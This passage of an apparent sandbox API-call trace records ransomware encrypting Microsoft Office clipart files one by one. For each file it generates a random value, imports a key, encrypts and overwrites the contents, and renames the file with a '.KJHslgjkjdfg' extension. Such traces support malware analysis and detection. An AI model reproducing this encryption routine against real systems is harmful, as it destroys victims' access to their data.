pdwDataLen=0x4dff258*=0x8630) returned 1 [0226.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.523] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8630, lpOverlapped=0x0) returned 1 [0226.523] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.524] SetEndOfFile (hFile=0x130) returned 1 [0226.525] GetProcessHeap () returned 0x2ef0000 [0226.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0226.526] GetProcessHeap () returned 0x2ef0000 [0226.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0226.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.kjhslgjkjdfg")) returned 1 [0226.527] CloseHandle (hObject=0x130) returned 1 [0226.527] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0226.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0226.529] GetProcessHeap () returned 0x2ef0000 [0226.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0226.529] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0226.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0226.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.529] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.529] GetProcessHeap () returned 0x2ef0000 [0226.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0226.529] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0226.529] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0226.531] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.531] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0226.531] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0226.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0226.531] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.532] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.532] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.532] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7e90, lpOverlapped=0x0) returned 1 [0226.584] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e90) returned 1 [0226.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.584] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7e90, lpOverlapped=0x0) returned 1 [0226.584] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.584] SetEndOfFile (hFile=0x130) returned 1 [0226.585] GetProcessHeap () returned 0x2ef0000 [0226.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0226.586] GetProcessHeap () returned 0x2ef0000 [0226.586] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0226.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.kjhslgjkjdfg")) returned 1 [0226.587] CloseHandle (hObject=0x130) returned 1 [0226.587] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0226.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0226.590] GetProcessHeap () returned 0x2ef0000 [0226.590] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0226.590] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0226.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0226.590] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0226.665] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.665] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.665] GetProcessHeap () returned 0x2ef0000 [0226.665] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0226.666] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0226.666] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.666] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0226.666] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.666] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0226.666] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0226.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0226.666] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.666] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.666] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.666] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x211bb, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x211bb, lpOverlapped=0x0) returned 1 [0226.867] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x211c0, dwBufLen=0x211c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x211c0) returned 1 [0226.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.868] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x211c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x211c0, lpOverlapped=0x0) returned 1 [0226.868] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.868] SetEndOfFile (hFile=0x130) returned 1 [0226.871] GetProcessHeap () returned 0x2ef0000 [0226.871] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0226.871] GetProcessHeap () returned 0x2ef0000 [0226.871] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0226.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.kjhslgjkjdfg")) returned 1 [0226.873] CloseHandle (hObject=0x130) returned 1 [0226.873] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0226.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0226.874] GetProcessHeap () returned 0x2ef0000 [0226.874] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0226.874] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0226.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0226.874] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0226.876] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.876] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.876] GetProcessHeap () returned 0x2ef0000 [0226.876] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0226.877] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0226.877] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.877] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0226.877] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0226.877] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0226.877] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0226.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0226.877] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0226.877] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0226.877] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0226.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.877] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa202, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa202, lpOverlapped=0x0) returned 1 [0226.878] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa210, dwBufLen=0xa210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa210) returned 1 [0226.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.879] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa210, lpOverlapped=0x0) returned 1 [0226.879] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0226.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.879] SetEndOfFile (hFile=0x130) returned 1 [0226.882] GetProcessHeap () returned 0x2ef0000 [0226.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0226.882] GetProcessHeap () returned 0x2ef0000 [0226.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0226.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.kjhslgjkjdfg")) returned 1 [0226.884] CloseHandle (hObject=0x130) returned 1 [0226.884] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0226.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0226.885] GetProcessHeap () returned 0x2ef0000 [0226.885] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0226.886] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0226.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0226.886] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0230.002] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.002] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.002] GetProcessHeap () returned 0x2ef0000 [0230.002] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.002] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.002] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.002] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.003] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.003] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.003] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.003] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.003] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.003] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.003] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18be, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x18be, lpOverlapped=0x0) returned 1 [0230.019] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x18c0) returned 1 [0230.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.019] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x18c0, lpOverlapped=0x0) returned 1 [0230.020] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.020] SetEndOfFile (hFile=0x130) returned 1 [0230.028] GetProcessHeap () returned 0x2ef0000 [0230.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.028] GetProcessHeap () returned 0x2ef0000 [0230.028] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft 